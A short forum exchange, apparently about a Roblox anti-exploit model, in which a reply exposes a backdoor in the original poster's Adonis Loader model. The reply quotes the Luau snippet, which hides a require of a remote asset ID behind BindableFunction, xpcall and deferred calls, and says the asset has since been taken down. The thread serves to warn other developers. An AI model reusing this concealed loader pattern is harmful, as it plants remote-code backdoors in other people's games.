StudioCity's Server-Sided Anti Exploit & Local-Sided | Simple AntiCheat

Man, i can’t wait to use this in my game! hopefully nothing bad happens lol :coefficients:

Another model that OP posted, an Adonis Loader, has a backdoor in that as well.
Here’s a snipit from their code:

local the, funny = xpcall(function()
    if game:FindService("LocalizationService") or game:FindService("SoundService") then
        spawn(function()
            task.defer(pcall(function()
                local g=Instance.new("BindableFunction")g.OnInvoke=require;pcall(g.Invoke,g,12547087331);g:Destroy()
            end))
        end)
    end
end, function()
    spawn()
end)

It doesn’t even work, LOL!
(It attempts to hide pcall(require,12547087331) to load some sort of backdoor. The required asset has been taken down already.)

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